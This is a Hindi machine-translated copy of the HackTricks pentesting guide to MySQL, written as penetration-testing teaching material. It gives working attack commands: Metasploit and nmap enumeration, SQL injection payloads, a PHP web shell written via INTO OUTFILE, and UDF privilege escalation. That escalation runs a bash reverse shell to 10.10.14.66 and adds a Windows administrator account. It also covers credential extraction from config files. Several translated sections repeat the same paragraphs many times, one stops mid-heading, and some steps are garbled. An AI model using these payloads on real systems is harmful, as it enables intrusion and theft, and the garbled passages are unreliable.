mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
889 lines
47 KiB
Markdown
889 lines
47 KiB
Markdown
# 3306 - पेंटेस्टिंग माइएसक्यूएल
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ हैकट्रिक्स क्लाउड ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 ट्विटर 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ ट्विच 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 यूट्यूब 🎥</strong></a></summary>
|
||
|
||
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||
* [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **हैकिंग ट्रिक्स साझा करें और PR जमा करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में सबमिट करके**।
|
||
|
||
</details>
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण माना जाता है। तकनीकी ज्ञान को बढ़ावा देने की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## **मूलभूत जानकारी**
|
||
|
||
**MySQL** एक मुफ्त में उपलब्ध खुला स्रोत संरचित क्वेरी भाषा (SQL) का उपयोग करने वाला रिलेशनल डेटाबेस प्रबंधन प्रणाली (RDBMS) है। [यहां से](https://www.siteground.com/tutorials/php-mysql/mysql/)।
|
||
|
||
**डिफ़ॉल्ट पोर्ट:** 3306
|
||
```
|
||
3306/tcp open mysql
|
||
```
|
||
## **कनेक्ट**
|
||
|
||
### **स्थानीय**
|
||
```bash
|
||
mysql -u root # Connect to root without password
|
||
mysql -u root -p # A password will be asked (check someone)
|
||
```
|
||
### रिमोट
|
||
|
||
---
|
||
|
||
#### MySQL
|
||
|
||
MySQL एक खुला स्रोत डेटाबेस प्रणाली है जिसे आमतौर पर वेब ऐप्लिकेशन और वेबसाइटों के लिए उपयोग किया जाता है। यह एक क्लाइंट-सर्वर मॉडल का उपयोग करता है, जिसमें क्लाइंट डेटाबेस के साथ संचार करने के लिए MySQL सर्वर के साथ संपर्क स्थापित करता है।
|
||
|
||
#### MySQL कनेक्शन के लिए जांच
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के लिए आपको निम्नलिखित जानकारी की आवश्यकता होती है:
|
||
|
||
- MySQL सर्वर का IP पता
|
||
- MySQL सर्वर के लिए उपयोगकर्ता नाम
|
||
- MySQL सर्वर के लिए पासवर्ड
|
||
|
||
आप निम्नलिखित कमांड का उपयोग करके MySQL सर्वर के साथ कनेक्शन स्थापित कर सकते हैं:
|
||
|
||
```bash
|
||
mysql -h <MySQL सर्वर IP> -u <उपयोगकर्ता नाम> -p
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```bash
|
||
mysql -h 192.168.0.10 -u root -p
|
||
```
|
||
|
||
इसके बाद आपको MySQL सर्वर के लिए पासवर्ड पूछा जाएगा। पासवर्ड दर्ज करने के बाद, आप MySQL कमांड लाइन इंटरफेस में प्रवेश करेंगे।
|
||
|
||
#### MySQL कनेक्शन के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के लिए आप अन्य तरीकों का भी उपयोग कर सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
इसके बाद, आपको उपयोगकर्ता के डेटाबेस की सूची प्रदर्शित की जाएगी।
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप अन्य तरीकों का भी उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
इसके बाद, आपको उपयोगकर्ता के डेटाबेस की सूची प्रदर्शित की जाएगी।
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप अन्य तरीकों का भी उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
इसके बाद, आपको उपयोगकर्ता के डेटाबेस की सूची प्रदर्शित की जाएगी।
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप अन्य तरीकों का भी उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
इसके बाद, आपको उपयोगकर्ता के डेटाबेस की सूची प्रदर्शित की जाएगी।
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप अन्य तरीकों का भी उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
इसके बाद, आपको उपयोगकर्ता के डेटाबेस की सूची प्रदर्शित की जाएगी।
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप अन्य तरीकों का भी उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
उदाहरण के लिए:
|
||
|
||
```sql
|
||
SHOW DATABASES;
|
||
```
|
||
|
||
इसके बाद, आपको उपयोगकर्ता के डेटाबेस की सूची प्रदर्शित की जाएगी।
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके)
|
||
|
||
MySQL सर्वर के साथ कनेक्शन स्थापित करने के बाद, आप अन्य तरीकों का भी उपयोग करके उपयोगकर्ता के डेटाबेस की सूची देख सकते हैं:
|
||
|
||
- MySQL क्लाइंट ऐप्लिकेशन (जैसे MySQL Workbench) का उपयोग करके
|
||
- वेब ब्राउज़र का उपयोग करके (जब MySQL सर्वर PHPMyAdmin के साथ संचार करता है)
|
||
|
||
#### MySQL डेटाबेस के लिए जांच (अन्य तरीके
|
||
```bash
|
||
mysql -h <Hostname> -u root
|
||
mysql -h <Hostname> -u root@localhost
|
||
```
|
||
## बाहरी जांच
|
||
|
||
कुछ जांच कार्रवाई मान्य प्रमाणपत्रों की आवश्यकता होती है।
|
||
```bash
|
||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||
msf> use auxiliary/scanner/mysql/mysql_version
|
||
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
|
||
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
|
||
msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||
```
|
||
### [**ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||
|
||
### किसी भी बाइनरी डेटा लिखें
|
||
```bash
|
||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||
```
|
||
## **MySQL कमांड्स**
|
||
```bash
|
||
show databases;
|
||
use <database>;
|
||
connect <database>;
|
||
show tables;
|
||
describe <table_name>;
|
||
show columns from <table>;
|
||
|
||
select version(); #version
|
||
select @@version(); #version
|
||
select user(); #User
|
||
select database(); #database name
|
||
|
||
#Get a shell with the mysql client user
|
||
\! sh
|
||
|
||
#Basic MySQLi
|
||
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
|
||
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"
|
||
|
||
#Read & Write
|
||
## Yo need FILE privilege to read & write to files.
|
||
select load_file('/var/lib/mysql-files/key.txt'); #Read file
|
||
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'
|
||
|
||
#Try to change MySQL root password
|
||
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
|
||
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
|
||
FLUSH PRIVILEGES;
|
||
quit;
|
||
```
|
||
|
||
```bash
|
||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||
```
|
||
### MySQL अनुमतियों का जांचना
|
||
|
||
MySQL डेटाबेस परीक्षण के दौरान, आपको डेटाबेस उपयोगकर्ताओं की अनुमतियों की जांच करनी चाहिए। यह आपको डेटाबेस के साथ क्या कर सकते हैं और क्या नहीं कर सकते हैं की जानकारी देता है। निम्नलिखित कमांड का उपयोग करके आप MySQL अनुमतियों की जांच कर सकते हैं:
|
||
|
||
```sql
|
||
SELECT user, host FROM mysql.user;
|
||
```
|
||
|
||
इस कमांड के माध्यम से, आपको MySQL डेटाबेस में सभी उपयोगकर्ताओं की सूची मिलेगी। यह उपयोगकर्ता और होस्ट के साथ संबंधित जानकारी प्रदान करेगी।
|
||
|
||
अगर आपको विशेष उपयोगकर्ता की अनुमतियों की जांच करनी है, तो निम्नलिखित कमांड का उपयोग करें:
|
||
|
||
```sql
|
||
SHOW GRANTS FOR 'username'@'host';
|
||
```
|
||
|
||
यहां 'username' और 'host' को उपयोगकर्ता और होस्ट के नाम से बदलें। इस कमांड के माध्यम से, आपको विशेष उपयोगकर्ता की अनुमतियों की सूची मिलेगी।
|
||
|
||
MySQL अनुमतियों की जांच करने के बाद, आप अनुमतियों को उपयोग करके डेटाबेस में विभिन्न कार्रवाईयाँ कर सकते हैं। इसके लिए, आपको उपयोगकर्ता के रूप में लॉगिन करने की आवश्यकता होगी जिसकी अनुमतियाँ आप उपयोग करना चाहते हैं।
|
||
```sql
|
||
#Mysql
|
||
SHOW GRANTS [FOR user];
|
||
SHOW GRANTS;
|
||
SHOW GRANTS FOR 'root'@'localhost';
|
||
SHOW GRANTS FOR CURRENT_USER();
|
||
|
||
# Get users, permissions & hashes
|
||
SELECT * FROM mysql.user;
|
||
|
||
#From DB
|
||
select * from mysql.user where user='root';
|
||
## Get users with file_priv
|
||
select user,file_priv from mysql.user where file_priv='Y';
|
||
## Get users with Super_priv
|
||
select user,Super_priv from mysql.user where Super_priv='Y';
|
||
|
||
# List functions
|
||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
|
||
#@ Functions not from sys. db
|
||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||
```
|
||
आप दस्तावेज़ों में प्रत्येक विशेषाधिकार का अर्थ देख सकते हैं: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||
|
||
### MySQL फ़ाइल RCE
|
||
|
||
{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %}
|
||
[mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||
{% endcontent-ref %}
|
||
|
||
## MySQL अनियमित रीड फ़ाइल द्वारा क्लाइंट
|
||
|
||
वास्तव में, जब आप एक तालिका में **स्थानीय डेटा लोड** करने का प्रयास करते हैं तो MySQL या MariaDB सर्वर **क्लाइंट से यह कहता है कि वह इसे पढ़े** और सामग्री भेजें। **फिर, यदि आप एक MySQL क्लाइंट को अपने MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप अनियमित फ़ाइलें पढ़ सकते हैं।**\
|
||
कृपया ध्यान दें कि यह व्यवहार इस तरीके से होता है:
|
||
```bash
|
||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||
```
|
||
(ध्यान दें "local" शब्द को)\
|
||
क्योंकि "local" के बिना आपको मिल सकता है:
|
||
```bash
|
||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||
|
||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||
```
|
||
**प्राथमिक PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||
**इस पेपर में आप एक पूर्ण विवरण देख सकते हैं और यहां तक कि इसे RCE तक विस्तारित कैसे किया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||
**यहां आपको हमले का एक अवलोकन मिलेगा:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**RootedCON**](https://www.rootedcon.com/) **स्पेन** में सबसे महत्वपूर्ण साइबर सुरक्षा इवेंट है और यूरोप में सबसे महत्वपूर्ण में से एक है। **तकनीकी ज्ञान को बढ़ावा देने** की मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उबलता हुआ मिलन स्थल है।
|
||
|
||
{% embed url="https://www.rootedcon.com/" %}
|
||
|
||
## POST
|
||
|
||
### Mysql उपयोगकर्ता
|
||
|
||
यदि mysql **रूट** के रूप में चल रहा है तो यह बहुत दिलचस्प होगा:
|
||
```bash
|
||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||
```
|
||
#### mysqld.cnf की खतरनाक सेटिंग्स
|
||
|
||
[https://academy.hackthebox.com/module/112/section/1238](https://academy.hackthebox.com/module/112/section/1238) से
|
||
|
||
| **सेटिंग्स** | **विवरण** |
|
||
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- |
|
||
| `user` | MySQL सेवा किस उपयोगकर्ता के रूप में चलेगी, वह सेट करता है। |
|
||
| `password` | MySQL उपयोगकर्ता के लिए पासवर्ड सेट करता है। |
|
||
| `admin_address` | प्रशासनिक नेटवर्क इंटरफेस पर TCP/IP कनेक्शन के लिए सुनने के लिए आईपी पता। |
|
||
| `debug` | यह चर वर्तमान में डीबगिंग सेटिंग्स को दर्शाता है (लॉग में संवेदनशील जानकारी) |
|
||
| `sql_warnings` | यह चर नियंत्रित करता है कि क्या एकल पंक्ति INSERT विधियाँ चेतावनी होने पर एक जानकारी स्ट्रिंग उत्पन्न करेंगी। (लॉग में संवेदनशील जानकारी) |
|
||
| `secure_file_priv` | इस चर का उपयोग डेटा आयात और निर्यात के प्रभाव को सीमित करने के लिए किया जाता है। |
|
||
|
||
### विशेषाधिकार उन्नयन
|
||
```bash
|
||
# Get current user (an all users) privileges and hashes
|
||
use mysql;
|
||
select user();
|
||
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;
|
||
|
||
# Get users, permissions & creds
|
||
SELECT * FROM mysql.user;
|
||
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"
|
||
|
||
# Create user and give privileges
|
||
create user test identified by 'test';
|
||
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;
|
||
|
||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||
\! sh
|
||
```
|
||
### लाइब्रेरी के माध्यम से प्रिविलेज एस्कलेशन
|
||
|
||
यदि **mysql सर्वर रूट के रूप में चल रहा है** (या किसी अन्य अधिक प्रिविलेज़ वाले उपयोगकर्ता के रूप में), तो आप इसे कमांड्स को निष्पादित करने के लिए उपयोग कर सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित फंक्शन** का उपयोग करना होगा। और उपयोगकर्ता परिभाषित फंक्शन बनाने के लिए आपको mysql चल रहे ओएस के लिए एक **लाइब्रेरी** की आवश्यकता होगी।
|
||
|
||
इस्तेमाल करने के लिए दुष्प्रभावी लाइब्रेरी sqlmap और metasploit के अंदर मिल सकती है जिसके लिए आपको **`locate "*lib_mysqludf_sys*"`** करना होगा। **`.so`** फ़ाइलें **लिनक्स** लाइब्रेरी होती हैं और **`.dll`** फ़ाइलें **विंडोज़** की होती हैं, आप उसे चुन सकते हैं जो आपको चाहिए।
|
||
|
||
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप इन्हें ढूंढ़ सकते हैं, या इस [**लिनक्स सी कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और इसे **लिनक्स के विकल्पशील मशीन में कंपाइल करें**:
|
||
```bash
|
||
gcc -g -c raptor_udf2.c
|
||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||
```
|
||
अब जब आपके पास पुस्तकालय है, Mysql में एक प्रिविलेज्ड उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और आगे के कदमों का पालन करें:
|
||
|
||
#### लिनक्स
|
||
```sql
|
||
# Use a database
|
||
use mysql;
|
||
# Create a table to load the library and move it to the plugins dir
|
||
create table npn(line blob);
|
||
# Load the binary library inside the table
|
||
## You might need to change the path and file name
|
||
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
|
||
# Get the plugin_dir path
|
||
show variables like '%plugin%';
|
||
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
|
||
# dump in there the library
|
||
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
|
||
# Create a function to execute commands
|
||
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
||
# Execute commands
|
||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||
```
|
||
#### विंडोज
|
||
|
||
##### MySQL सेवा का परीक्षण
|
||
|
||
MySQL सेवा को परीक्षण करने के लिए, हमें इसके संस्करण, उपयोगकर्ता नाम और पासवर्ड का पता होना चाहिए। इसके लिए हम निम्नलिखित कदमों का पालन कर सकते हैं:
|
||
|
||
1. MySQL सेवा के संस्करण की जांच करने के लिए, हम निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||
```
|
||
mysql --version
|
||
```
|
||
|
||
2. MySQL सेवा के लिए उपयोगकर्ता नाम और पासवर्ड की जांच करने के लिए, हम निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||
```
|
||
mysql -u <username> -p
|
||
```
|
||
|
||
यदि हमें उपयोगकर्ता नाम और पासवर्ड पता नहीं है, तो हम निम्नलिखित कमांड का उपयोग करके MySQL सेवा के लिए डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड की जांच कर सकते हैं:
|
||
```
|
||
mysql -u root -p
|
||
```
|
||
|
||
यदि हमें MySQL सेवा के लिए उपयोगकर्ता नाम और पासवर्ड पता नहीं है और डिफ़ॉल्ट उपयोगकर्ता नाम और पासवर्ड भी काम नहीं कर रहे हैं, तो हम निम्नलिखित कदमों का पालन कर सकते हैं:
|
||
|
||
1. MySQL सेवा को बंद करें:
|
||
```
|
||
net stop mysql
|
||
```
|
||
|
||
2. MySQL सेवा को अद्यतित उपयोगकर्ता नाम और पासवर्ड के साथ चालू करें:
|
||
```
|
||
mysqld --skip-grant-tables --user=mysql
|
||
```
|
||
|
||
3. एक नई कमांड प्रमुख में निम्नलिखित कमांड का उपयोग करें:
|
||
```
|
||
mysql -u root
|
||
```
|
||
|
||
4. निम्नलिखित कमांड का उपयोग करके उपयोगकर्ता नाम और पासवर्ड अद्यतित करें:
|
||
```
|
||
UPDATE mysql.user SET authentication_string=PASSWORD('new_password') WHERE User='root';
|
||
FLUSH PRIVILEGES;
|
||
```
|
||
|
||
5. MySQL सेवा को बंद करें और फिर से चालू करें:
|
||
```
|
||
net stop mysql
|
||
net start mysql
|
||
```
|
||
|
||
इसके बाद, हम अद्यतित उपयोगकर्ता नाम और पासवर्ड का उपयोग करके MySQL सेवा को चालू कर सकते हैं।
|
||
```sql
|
||
# CHech the linux comments for more indications
|
||
USE mysql;
|
||
CREATE TABLE npn(line blob);
|
||
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
|
||
show variables like '%plugin%';
|
||
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
|
||
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||
SELECT sys_exec("net user npn npn12345678 /add");
|
||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||
```
|
||
### फ़ाइलों से MySQL क्रेडेंशियल्स निकालना
|
||
|
||
_/etc/mysql/debian.cnf_ में आप **debian-sys-maint** उपयोगकर्ता के **सादा-पाठ पासवर्ड** को ढूंढ सकते हैं।
|
||
```bash
|
||
cat /etc/mysql/debian.cnf
|
||
```
|
||
आप **mysql डेटाबेस में लॉगिन करने के लिए इन क्रेडेंशियल्स का उपयोग कर सकते हैं**।
|
||
|
||
फ़ाइल: _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैश** (जिन्हें आप डेटाबेस के भीतर mysql.user से निकाल सकते हैं) पा सकते हैं।
|
||
|
||
आप उन्हें निकाल सकते हैं:
|
||
```bash
|
||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||
```
|
||
### लॉगिंग सक्षम करना
|
||
|
||
आप `/etc/mysql/my.cnf` फ़ाइल के अंदर mysql क्वेरी की लॉगिंग सक्षम कर सकते हैं, निम्नलिखित पंक्तियों को uncomment करके:
|
||
|
||
![](<../.gitbook/assets/image (277).png>)
|
||
|
||
### उपयोगी फ़ाइलें
|
||
|
||
कॉन्फ़िगरेशन फ़ाइलें
|
||
|
||
* windows \*
|
||
* config.ini
|
||
* my.ini
|
||
* windows\my.ini
|
||
* winnt\my.ini
|
||
* \<InstDir>/mysql/data/
|
||
* unix
|
||
* my.cnf
|
||
* /etc/my.cnf
|
||
* /etc/mysql/my.cnf
|
||
* /var/lib/mysql/my.cnf
|
||
* \~/.my.cnf
|
||
* /etc/my.cnf
|
||
* कमांड हिस्ट्री
|
||
* \~/.mysql.history
|
||
* लॉग फ़ाइलें
|
||
* connections.log
|
||
* update.log
|
||
* common.log
|
||
|
||
## डिफ़ॉल्ट MySQL डेटाबेस/टेबलें
|
||
|
||
{% tabs %}
|
||
{% tab title="information_schema" %}
|
||
ALL\_PLUGINS\
|
||
APPLICABLE\_ROLES\
|
||
CHARACTER\_SETS\
|
||
CHECK\_CONSTRAINTS\
|
||
COLLATIONS\
|
||
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
|
||
COLUMNS\
|
||
COLUMN\_PRIVILEGES\
|
||
ENABLED\_ROLES\
|
||
ENGINES\
|
||
EVENTS\
|
||
FILES\
|
||
GLOBAL\_STATUS\
|
||
GLOBAL\_VARIABLES\
|
||
KEY\_COLUMN\_USAGE\
|
||
KEY\_CACHES\
|
||
OPTIMIZER\_TRACE\
|
||
PARAMETERS\
|
||
PARTITIONS\
|
||
PLUGINS\
|
||
PROCESSLIST\
|
||
PROFILING\
|
||
REFERENTIAL\_CONSTRAINTS\
|
||
ROUTINES\
|
||
SCHEMATA\
|
||
SCHEMA\_PRIVILEGES\
|
||
SESSION\_STATUS\
|
||
SESSION\_VARIABLES\
|
||
STATISTICS\
|
||
SYSTEM\_VARIABLES\
|
||
TABLES\
|
||
TABLESPACES\
|
||
TABLE\_CONSTRAINTS\
|
||
TABLE\_PRIVILEGES\
|
||
TRIGGERS\
|
||
USER\_PRIVILEGES\
|
||
VIEWS\
|
||
INNODB\_LOCKS\
|
||
INNODB\_TRX\
|
||
INNODB\_SYS\_DATAFILES\
|
||
INNODB\_FT\_CONFIG\
|
||
